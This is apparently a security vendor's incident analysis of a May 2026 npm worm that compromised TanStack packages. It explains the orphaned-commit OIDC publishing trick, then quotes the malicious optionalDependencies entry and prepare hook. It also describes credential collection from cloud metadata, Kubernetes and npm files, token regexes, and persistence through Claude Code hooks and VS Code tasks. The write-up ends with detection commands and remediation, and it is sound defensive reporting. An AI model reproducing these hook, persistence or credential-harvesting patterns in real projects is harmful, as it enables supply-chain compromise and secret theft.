TL;DR
Attackers compromised 160+ package versions across the npm ecosystem on May 11, 2026, planting credential-stealing malware in libraries that ship to millions of developers each week. The campaign started with the compromise of 84 package versions in the @tanstack namespace on npm, including @tanstack/react-router, which alone exceeds 12 million weekly downloads. The malware targets GitHub Actions secrets, npm publish tokens, cloud credentials, and SSH keys on any machine or CI runner that installed an affected package.
This is the fifth wave of the Shai-Hulud malware family in eight months, and the second "Mini Shai-Hulud" campaign in two weeks. The April 29 wave hit four SAP packages. This one hit 160+ as the worm spread on npm. The compromised account's public repositories include projects named "A Mini Shai-Hulud has Appeared", confirming campaign attribution.
The attack is notable because it succeeded against a target that did everything right on paper: 2FA on all maintainer accounts, OIDC trusted publishing instead of long-lived tokens, and signed provenance attestations on every release. The compromised packages still carry valid npm provenance.
TanStack maintainer Tanner Linsley confirms the attack vector: the attacker used a novel technique, an orphaned commit pushed to a fork of the TanStack repository, to obtain a legitimate short-lived publish token.
The full technical breakdown is below. We will update this post as the campaign evolves.
Affected packages
160+ malicious package versions were published on npm as part of the campaign originating in the @tamstack namespace.
Technical analysis
TanStack's publishing pipeline uses npm's OIDC trusted publishing, the recommended modern approach for publishing without storing a long-lived static token. 2FA was enabled for all team members. Despite both protections, the attacker successfully obtained a valid OIDC publish token.
TanStack maintainer Tanner Linsley confirmed the mechanism: the attacker pushed an orphaned commit — a commit with no parent history, completely detached from the repository's main branch tree — into a fork of TanStack/router (voicproducoes/router, created May 10, 2026). The commit hash is 79ac49eedf774dd4b0cfa308722bc463cfe5885c, authored by the compromised GitHub account voicproducoes.
Because GitHub stores commit objects in shared storage across a repository and its forks, a commit pushed to any fork is reachable through the parent repository's URL — including via github:tanstack/router#<hash> references in npm dependencies and via GitHub Actions workflow dispatches that target a commit SHA.
The orphaned commit introduced only two files:
- A package.json defining a package named @tanstack/setup with a prepare lifecycle hook: bun run tanstack_runner.js && exit 1
- A bundled tanstack_runner.js payload (2,339,346 bytes)
This commit was then referenced in the optionalDependencies field of every compromised package's package.json:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
When npm resolves a github: dependency, it clones the referenced commit and runs lifecycle hooks — including prepare — automatically. This caused tanstack_runner.js to execute on every developer machine or CI runner that installed any of the 84 affected packages.
The orphaned commit additionally triggered a GitHub Actions workflow run against the legitimate TanStack/router workflow surface. Because the repository's OIDC trusted publisher configuration granted trust at the repository level rather than scoped to a specific protected branch and workflow file, the workflow run triggered by that commit was able to request a valid short-lived npm publish token. That token was used to publish the 84 malicious package versions, all carrying valid SLSA provenance attestations from the legitimate tanstack/router repository.
Why provenance failed to protect users
The compromised packages carry legitimate npm provenance attestations issued by npm's Sigstore infrastructure. From a registry and tooling perspective, they appear to be valid CI-published packages with a cryptographically verified build chain. This is the same pattern observed in the SAP campaign two weeks earlier.
Provenance attests that a package was built by a specific repository's GitHub Actions run. It does not attest that the workflow was authorized to run, that it executed from a protected branch, or that the commit triggering it was legitimate. An orphaned commit — one with no parent, unconnected to any branch — is sufficient to trigger a workflow if the OIDC scope is broad enough.
The secure configuration pins OIDC trust to both a specific workflow file and a specific branch ref:
# Vulnerable: repository-wide trust
Repository: tanstack/router
# Secure: pinned to protected workflow + branch
Repository: tanstack/router
Workflow: .github/workflows/release.yml
Branch: refs/heads/main
Without that pinning, any commit reachable through the repository's object graph — including an orphaned commit introduced via a fork — can be used to trigger a workflow that obtains a valid publish token.
The Payload: router_init.js
Every compromised package contains a newly added router_init.js — a 2,341,681-byte file, heavily obfuscated using the javascript-obfuscator pattern: string-array rotation, hex-encoded identifier lookups (_0x253b), control-flow flattening inside while(!![]){...} state machines, and dead-code injection. This is structurally consistent with the obfuscation family used across all documented Mini Shai-Hulud variants.
The payload uses a two-layer string-protection scheme: a beautify() function performs a first decoding pass over a hex-named string array (_0x253b-style), and a second function w8() decrypts the result using AES-256-GCM with a 12-byte IV and 16-byte GCM auth tag, then gzip-decompresses the plaintext. There are 396 unique encrypted string constants covering domain names, URL paths, token regexes, file paths, command strings, and the runtime endpoint identifiers used during credential collection.
The crypto primitives imported by the payload include Node's generateKeyPairSync and sign — used not just for exfiltration framing but also to forge npm package manifests and submit Sigstore provenance attestations during worm propagation.
What the Payload Does
Execution flow and CI gating
On npm install, the prepare hook from the malicious @tanstack/setup optionalDependencies entry fires bun run tanstack_runner.js && exit 1. The trailing exit 1 is deliberate — npm logs the install as a script failure rather than a script success, suppressing attention while the payload has already run.
The first thing the payload does is check process.env.__DAEMONIZED. If unset, it re-spawns itself as a detached child process with stdio: ['ignore', 'ignore', 'ignore'] and calls unref(), severing the child from the parent so the original npm install can exit cleanly while the implant continues in the background.
The implant then fingerprints its environment:
- Reads GITHUB_REPOSITORY, GITHUB_REPOSITORY_ID, GITHUB_SERVER_URL, GITHUB_WORKFLOW_REF, GITHUB_EVENT_NAME, and RUNNER_OS to determine whether it is inside a GitHub Actions runner.
- Calls process.platform for Linux / macOS / Windows branching; large platform-specific arrays of decoded path strings sit behind the beautify() decoder.
- Issues an npms.io query (search?q=ponyfill) as a network-reachability probe before any sensitive collection or outbound traffic.
- A function the deobfuscators labeled Ij() compares the current workflow and repository against a target list, indicating the worm changes behavior depending on whether it has landed somewhere worth replicating from.
Credential collection
Ten dedicated collector classes run in parallel. The confirmed targets:
GitHub Actions runner context. All GITHUB_* and RUNNER_* variables noted above, plus ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL — the pair that lets a workflow request an OIDC ID token. The implant uses these to mint a fresh OIDC token at runtime rather than relying only on tokens already exported into the environment. An additional ~148 variable names are reached via the encrypted-string-array indirection and are not fully recovered.
GitHub API. Authenticated GET https://api.github.com/repos/<GITHUB_REPOSITORY>/actions/secrets?per_page=100 enumerates the repository's stored Actions secrets.
Token regex sweeping. In-memory and on-disk strings are scanned with two patterns matching GitHub server tokens:
/ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g // new JWT-form ghs tokens
/ghs_[A-Za-z0-9]{36,}/g // legacy ghs format
npm credentials. ~/.npmrc and npm-related environment variables.
AWS. Environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION, AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE for IRSA/OIDC workload identity). IMDSv2 acquisition at http://169.254.169.254/latest/api/token with the X-aws-ec2-metadata-token-ttl-seconds header. ECS task-metadata endpoint at http://169.254.170.2. A function the analysts named executeForRegion iterates regions to query Secrets Manager and SSM Parameter Store across the account, not just the default region.
HashiCorp Vault. VAULT_TOKEN, VAULT_AUTH_TOKEN, VAULT_ADDR environment variables, plus an attempt against the in-cluster service endpoint vault.svc.cluster.local:8200.
Kubernetes. Reads the standard service-account mount points /var/run/secrets/kubernetes.io/serviceaccount/token and /var/run/secrets/kubernetes.io/serviceaccount/ca.crt. Whatever RBAC the pod holds, the implant inherits.
(GCP and Azure path lists are referenced behind the encrypted-string array but were not enumerated in the published analyses; treat them as in-scope rather than out-of-scope.)
Persistence on developer machines
When the implant is not running inside CI, it writes persistence into the current project directory so it re-executes on subsequent developer actions:
- .claude/router_runtime.js — self-copy of the payload.
- .claude/settings.json — Claude Code hooks pointing at the self-copy.
- .claude/setup.mjs — ESM loader shim.
- .vscode/tasks.json — task with "runOn": "folderOpen" to fire when the workspace is reopened.
- .vscode/setup.mjs — ESM loader shim.
These files live in the project tree, not in node_modules — rm -rf node_modules does not remove them.
Self-replication
Each collected GitHub token is passed through a class the analysts labeled tq, which:
- Queries npms.io to identify packages the token's owning user maintains.
- For each target package, bundles a copy of router_init.js into the tarball (.tgz, tar.zst).
- Publishes the modified package using the ambient OIDC token of the host CI workflow (id-token: write permission). On a runner where the workflow's OIDC trust is broad enough, this bypasses the workflow's own publish step entirely — the worm calls npm's publish endpoint directly with a freshly minted token.
- Submits a Sigstore provenance attestation to the transparency log, so the malicious version arrives with a valid provenance badge — exactly what happened to the original 84 @tanstack/* versions.
A parallel propagation path uses harvested GitHub tokens against the GitHub GraphQL API's createCommitOnBranch mutation to commit copies of the payload directly into the source repositories of victim maintainers. These commits are spoofed to appear authored by claude@users.noreply.github.com, impersonating the Claude Code GitHub App.
Exfiltration
Harvested credentials are routed through three sender classes (networkSender, fileSender, fallbackSender) for redundancy, with a buffered dispatcher that flushes at 0x19000 bytes (102,400 bytes). The primary network channel is filev2.getsession[.]org/file/ over Session's snode P2P network, with the implant carrying an embedded signalservice protobuf stack. On the wire this looks like end-to-end-encrypted messaging traffic on TCP/443 — there is no traditional C2 endpoint to block by hostname or IP signature, and Session-app traffic is indistinguishable at the network layer from legitimate use. The shift from the prior wave's GitHub-as-C2 to Session removes most of the GitHub-side observability defenders previously had.
Bundles are encrypted with AES-256-GCM, gzip-compressed, and framed inside the Session message format. At cleanup the implant deletes its temp files and calls process.exit(0) for a silent termination
Relationship to prior Shai-Hulud campaigns
The SAP and TanStack waves share the same dead-drop description string, the same Dune-themed naming aesthetic on attacker-controlled repos, and an obfuscation family match. This is consistent with the same operator, but toolchain-identity attribution — confirming the TanStack payload reuses the same crypto material, cipher markers, and propagation keywords as the SAP payload — requires the ongoing deobfuscation work to complete. Both a continuation by the same actor and a deliberate brand reuse remain on the table until the payload internals are confirmed.
Two trends are worth noting across the campaign arc. First, the package count is expanding, not contracting: from 4 SAP packages to 84 TanStack packages in two weeks. Second, the attack vector is evolving:
- The SAP campaign used a combination of stolen static tokens and OIDC misconfigurations exploited via branch pushes.
- The TanStack campaign introduces the orphaned commit through a fork technique — a novel approach that bypasses branch protection rules entirely (the commit was never on any branch in the upstream repository) while still obtaining a legitimate OIDC-derived publish token.
- Exfiltration has migrated from GitHub-as-C2 to the Session P2P network, removing the GitHub-side observability that made the SAP campaign easier to track.
This is a meaningful technical escalation in roughly two weeks.
Indicators of Compromise (IoCs)
File Indicators — confirmed for the TanStack campaign
File Hashes (SHA-256)
Repository / Git Indicators
Network Indicators
Remediation
Immediate
Hunt for the malicious payload file:
- find . -name "router_init.js" -size +1M
find . -name "tanstack_runner.js"
Hunt for persistence artifacts:
- find . -path "*/.claude/settings.json" -o -path "*/.claude/router_runtime.js" -o -path "*/.claude/setup.mjs"
- find . -path "*/.vscode/tasks.json" | xargs grep -l "folderOpen" 2>/dev/null
find . -path "*/.vscode/setup.mjs"
Check for the malicious optional dependency in any project's node_modules:
grep -r "79ac49eedf774dd4b0cfa308722bc463cfe5885c" node_modules/ package-lock.json 2>/dev/null
Rotate all credentials accessible from the affected host — treat as fully compromised:
- npm publish tokens (npmjs.com → Access Tokens)
- GitHub PATs and OAuth tokens (github.com → Settings → Developer settings)
- AWS IAM keys (aws iam delete-access-key)
- GCP service account keys
- Azure client secrets and certificates
- SSH private keys (~/.ssh/id_*)
- HashiCorp Vault tokens
- Kubernetes service account tokens
- All secrets stored in .env files
Check for worm-propagated packages. If your npm token had publish rights, inspect every package you maintain for unexpected new versions published on or after May 11, 2026, particularly any with commits authored by claude@users.noreply.github.com.
Block outbound network traffic to filev2.getsession[.]org and audit recent flows for any matches.
Long-Term
Use lockfiles, and install from them. Commit package-lock.json, yarn.lock, or pnpm-lock.yaml to source control and treat changes as code, so a new or unexpected version shows up in a PR diff where someone can catch it. In both local development and CI, install with the strict commands that respect the lockfile and fail when it's out of sync: npm ci, yarn install --frozen-lockfile, or pnpm install --frozen-lockfile.
Enforce --ignore-scripts in CI installs. npm ci --ignore-scripts eliminates preinstall, postinstall, and prepare hook execution — the delivery mechanism for every Shai-Hulud variant. This is the single highest-leverage control available today.
Scope npm OIDC trusted publishing to a specific workflow file on a specific protected branch. The TanStack compromise demonstrates that broad repository-level OIDC trust can be exploited via commits introduced through forks — commits that bypass branch protection rules entirely because they were never pushed to any branch in the upstream repository, yet remain reachable through GitHub's shared object storage. Pinning trust to refs/heads/main and a specific workflow filename closes this surface.
Treat orphaned commits — and commits reachable only through a fork — as a threat indicator. A commit with no parent history appearing in a repository's object graph, especially one that introduces only a package.json and a bundled payload, should trigger immediate investigation before any CI workflow processes it.
Do not treat npm provenance as a standalone security control. This incident, like the SAP campaign before it, produced packages with valid provenance attestations from a legitimately authorized CI run. Provenance narrows the attack surface; it does not eliminate it. OIDC scope pinning is the complementary control that makes provenance meaningful.
Monitor for Bun downloads during npm install. A bun-v1.3.13 fetch at install time is anomalous for most pipelines and should trigger an immediate alert.
Review optionalDependencies in your direct and transitive dependency graph. The use of optionalDependencies with a github: commit ref to deliver a payload via a prepare hook is a novel vector. Static analysis tools that focus on dependencies and devDependencies may not flag it.
Conclusion
A Mini Shai-Hulud is still a sandworm — and it is getting larger and more technically sophisticated with each campaign.
Four SAP packages became 84 TanStack packages in two weeks. The static-token and OIDC branch-push vectors used against SAP have been joined by a new orphaned-commit-through-a-fork technique that bypasses branch protection rules while still yielding a legitimate OIDC-derived publish token. The dead drop has moved from GitHub repositories to the Session P2P network, eroding the GitHub-side observability that made the prior campaign easier to track. TanStack had 2FA enabled on every team account. That did not stop the attack. The attacker did not need any team member's credentials — only the ability to push to a fork, and a publish pipeline with OIDC scope too broad.
The underlying truth of this campaign arc remains unchanged: provenance tells you where a package was built, not whether the build was authorized. OIDC trusted publishing removes the need for long-lived tokens, but introduces a new trust surface — the scope of what workflows and commits can request those tokens. Narrowing that scope to the minimum required is the control that closes this class of attack.
The worm is iterating. Defenders need to as well.
We will update this post as deobfuscation of router_init.js and tanstack_runner.js completes and as TanStack confirms remediation status.
Additional references
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









.avif)
